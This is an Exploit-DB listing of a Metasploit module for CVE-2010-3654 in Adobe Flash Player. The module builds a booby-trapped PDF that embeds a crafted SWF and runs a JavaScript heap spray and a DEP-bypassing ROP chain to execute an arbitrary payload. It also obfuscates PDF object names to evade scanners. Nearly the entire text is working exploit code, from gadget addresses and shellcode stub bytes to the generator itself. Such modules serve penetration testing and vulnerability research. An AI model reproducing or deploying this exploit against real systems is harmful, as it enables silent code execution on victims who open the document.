Adobe Flash Player - 'Button' Arbitrary Code Execution (Metasploit)

EDB-ID:

16667


Author:

Metasploit

Type:

local


Platform:

Windows

Date:

2010-11-01


##
# $Id: adobe_flashplayer_button.rb 10857 2010-11-01 22:34:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe Flash Player "Button" Remote Code Execution',
			'Description'    => %q{
					This module exploits a vulnerability in the handling of certain SWF movies
				within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat
				are also vulnerable, as are any other applications that may embed Flash player.

				Arbitrary code execution is achieved by embedding a specially crafted Flash
				movie into a PDF document. An AcroJS heap spray is used in order to ensure
				that the memory used by the invalid pointer issue is controlled.

				NOTE: This module uses a similar DEP bypass method to that used within the
				adobe_libtiff module. This method is unlikely to work across various
				Windows versions due a the hardcoded syscall number.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown',   # Found being openly exploited
					'Haifei Li', # PoC
					'jduck'      # Metasploit version
				],
			'Version'        => '$Revision: 10857 $',
			'References'     =>
				[
					['CVE', '2010-3654'],
					['OSVDB', '68932'],
					['BID', '44504'],
					['URL', 'http://www.adobe.com/support/security/advisories/apsa10-05.html'],
					['URL', 'http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve-2010-3654/'], #PoC
					# For SWF->PDF embedding
					['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC'             => 'process',
					'InitialAutoRunScript' => 'migrate -f',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested OK via Adobe Reader 9.4.0 on Windows XP SP3 (uses flash 10.1.85.3) -jjd
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Oct 28 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
			], self.class)
	end

	def exploit
		swf_data = make_swf()
		js_data = make_js(payload.encoded)

		# Create the pdf
		pdf = make_pdf(swf_data, js_data)

		print_status("Creating '#{datastore['FILENAME']}' file...")

		file_create(pdf)
	end

	def make_swf
		# load the static swf file
		path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-3654.swf" )
		fd = File.open( path, "rb" )
		swf_data = fd.read(fd.stat.size)
		fd.close
		swf_data
	end

	def make_js(encoded_payload)

		# The following executes a ret2lib using BIB.dll
		# The effect is to bypass DEP and execute the shellcode in an indirect way
		stack_data = [
			0xc0c0c0c,
			0x7002fe1,      # mov edx,[esi+0x18] / test edx,edx / je +0x12 / mov eax,[esi+0xc] / mov ecx,[esi+4] / push eax / push ecx / push esi / call edx
			0xcccccccc,
			0xcccccccc,
			0xc0c0c0c + 0x10,
			0x7004919,      # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
			0xcccccccc,
			0x70048ef,      # xchg eax,esp / ret
			0x700156f,      # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
			0xcccccccc,
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009033,      # ret 0x18
			0x7009084,      # ret
			0xc0c0c0c,
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7009084,      # ret
			0x7001599,      # pop ebp / ret
			0x10124,
			0x70072f7,      # pop eax / ret
			0x10104,
			0x70015bb,      # pop ecx / ret
			0x1000,
			0x700154d,      # mov [eax], ecx / ret
			0x70015bb,      # pop ecx / ret
			0x7ffe0300,     # -- location of KiFastSystemCall
			0x7007fb2,      # mov eax, [ecx] / ret
			0x70015bb,      # pop ecx / ret
			0x10011,
			0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
			0x70015bb,      # pop ecx / ret
			0x10100,
			0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
			0x70072f7,      # pop eax / ret
			0x10011,
			0x70052e2,      # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
			0x7005c54,      # pop esi / add esp,0x14 / ret
			0xffffffff,
			0x10100,
			0x0,
			0x10104,
			0x1000,
			0x40,
			# The next bit effectively copies data from the interleaved stack to the memory
			# pointed to by eax
			# The data copied is:
			# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
			# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
			# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
			0x700d731,      # mov eax, [ebp-0x24] / ret
			0x70015bb,      # pop ecx / ret
			0x9054905a,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x5815eb5a,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x18891a8b,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x8304c083,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0xfb8104c2,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0xc0c0c0c,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x5ebee75,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0xffffe6e8,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x909090ff,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x90909090,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x90909090,
			0x700154d,      # mov [eax], ecx / ret
			0x700a722,      # add eax, 4 / ret
			0x70015bb,      # pop ecx / ret
			0x90ffffff,
			0x700154d,      # mov [eax], ecx / ret
			0x700d731,      # mov eax, [ebp-0x24] / ret
			0x700112f       # call eax -- (execute stub to transition to full shellcode)
		].pack('V*')

		var_unescape  = rand_text_alpha(rand(100) + 1)
		var_shellcode = rand_text_alpha(rand(100) + 1)

		var_start     = rand_text_alpha(rand(100) + 1)

		var_s         = 0x10000
		var_c         = rand_text_alpha(rand(100) + 1)
		var_b         = rand_text_alpha(rand(100) + 1)
		var_d         = rand_text_alpha(rand(100) + 1)
		var_3         = rand_text_alpha(rand(100) + 1)
		var_i         = rand_text_alpha(rand(100) + 1)
		var_4         = rand_text_alpha(rand(100) + 1)

		payload_buf = ''
		payload_buf << stack_data
		payload_buf << encoded_payload

		escaped_payload = Rex::Text.to_unescape(payload_buf)

		js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

		js
	end

	def RandomNonASCIIString(count)
		result = ""
		count.times do
			result << (rand(128) + 128).chr
		end
		result
	end

	def ioDef(id)
		"%d 0 obj\n" % id
	end

	def ioRef(id)
		"%d 0 R" % id
	end


	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
	def nObfu(str)
		result = ""
		str.scan(/./u) do |c|
			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
				result << "#%x" % c.unpack("C*")[0]
			else
				result << c
			end
		end
		result
	end


	def ASCIIHexWhitespaceEncode(str)
		result = ""
		whitespace = ""
		str.each_byte do |b|
			result << whitespace << "%02x" % b
			whitespace = " " * (rand(3) + 1)
		end
		result << ">"
	end


	def make_pdf(swf, js)

		swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

		xref = []
		eol = "\n"
		endobj = "endobj" << eol

		# Randomize PDF version?
		pdf = "%PDF-1.5" << eol
		#pdf << "%" << RandomNonASCIIString(4) << eol

		# catalog
		xref << pdf.length
		pdf << ioDef(1) << nObfu("<</Type/Catalog")
		pdf << nObfu("/Pages ") << ioRef(3)
		pdf << nObfu("/OpenAction ") << ioRef(5)
		pdf << nObfu(">>")
		pdf << eol << endobj

		# pages array
		xref << pdf.length
		pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj

		# page 1
		xref << pdf.length
		pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)
		pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")
		pdf << nObfu(">>")
		pdf << eol << endobj

		# js action
		xref << pdf.length
		pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj

		# js stream
		xref << pdf.length
		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
		pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
		pdf << "stream" << eol
		pdf << compressed << eol
		pdf << "endstream" << eol
		pdf << endobj

		# swf annotation object
		xref << pdf.length
		pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")
		pdf << nObfu("/Rect [20 20 187 69] ")
		pdf << nObfu("/RichMediaSettings ") << ioRef(8)
		pdf << nObfu("/RichMediaContent ") << ioRef(9)
		pdf << nObfu("/NM (") << swf_name << nObfu(")")
		pdf << nObfu(">>")
		pdf << eol << endobj

		# rich media settings
		xref << pdf.length
		pdf << ioDef(8)
		pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")
		pdf << nObfu("/Activation ") << ioRef(10)
		pdf << nObfu("/Deactivation ") << ioRef(11)
		pdf << nObfu(">>")
		pdf << eol << endobj

		# rich media content
		xref << pdf.length
		pdf << ioDef(9)
		pdf << nObfu("<</Type/RichMediaContent")
		pdf << nObfu("/Assets ") << ioRef(12)
		pdf << nObfu("/Configurations [") << ioRef(14) << "]"
		pdf << nObfu(">>")
		pdf << eol << endobj

		# rich media activation / deactivation
		xref << pdf.length
		pdf << ioDef(10)
		pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")
		pdf << eol << endobj

		xref << pdf.length
		pdf << ioDef(11)
		pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")
		pdf << eol << endobj

		# rich media assets
		xref << pdf.length
		pdf << ioDef(12)
		pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")
		pdf << eol << endobj

		# swf embeded file ref
		xref << pdf.length
		pdf << ioDef(13)
		pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")
		pdf << eol << endobj

		# rich media configuration
		xref << pdf.length
		pdf << ioDef(14)
		pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")
		pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")
		pdf << eol << endobj

		# rich media isntance
		xref << pdf.length
		pdf << ioDef(15)
		pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")
		pdf << nObfu("/Asset ") << ioRef(13)
		pdf << nObfu(">>")
		pdf << eol << endobj

		# swf stream
		# NOTE: This data is already compressed, no need to compress it again...
		xref << pdf.length
		pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
		pdf << "stream" << eol
		pdf << swf << eol
		pdf << "endstream" << eol
		pdf << endobj

		# trailing stuff
		xrefPosition = pdf.length
		pdf << "xref" << eol
		pdf << "0 %d" % (xref.length + 1) << eol
		pdf << "0000000000 65535 f" << eol
		xref.each do |index|
			pdf << "%010d 00000 n" % index << eol
		end

		pdf << "trailer" << eol
		pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

		pdf << "startxref" << eol
		pdf << xrefPosition.to_s() << eol

		pdf << "%%EOF" << eol
		pdf
	end

end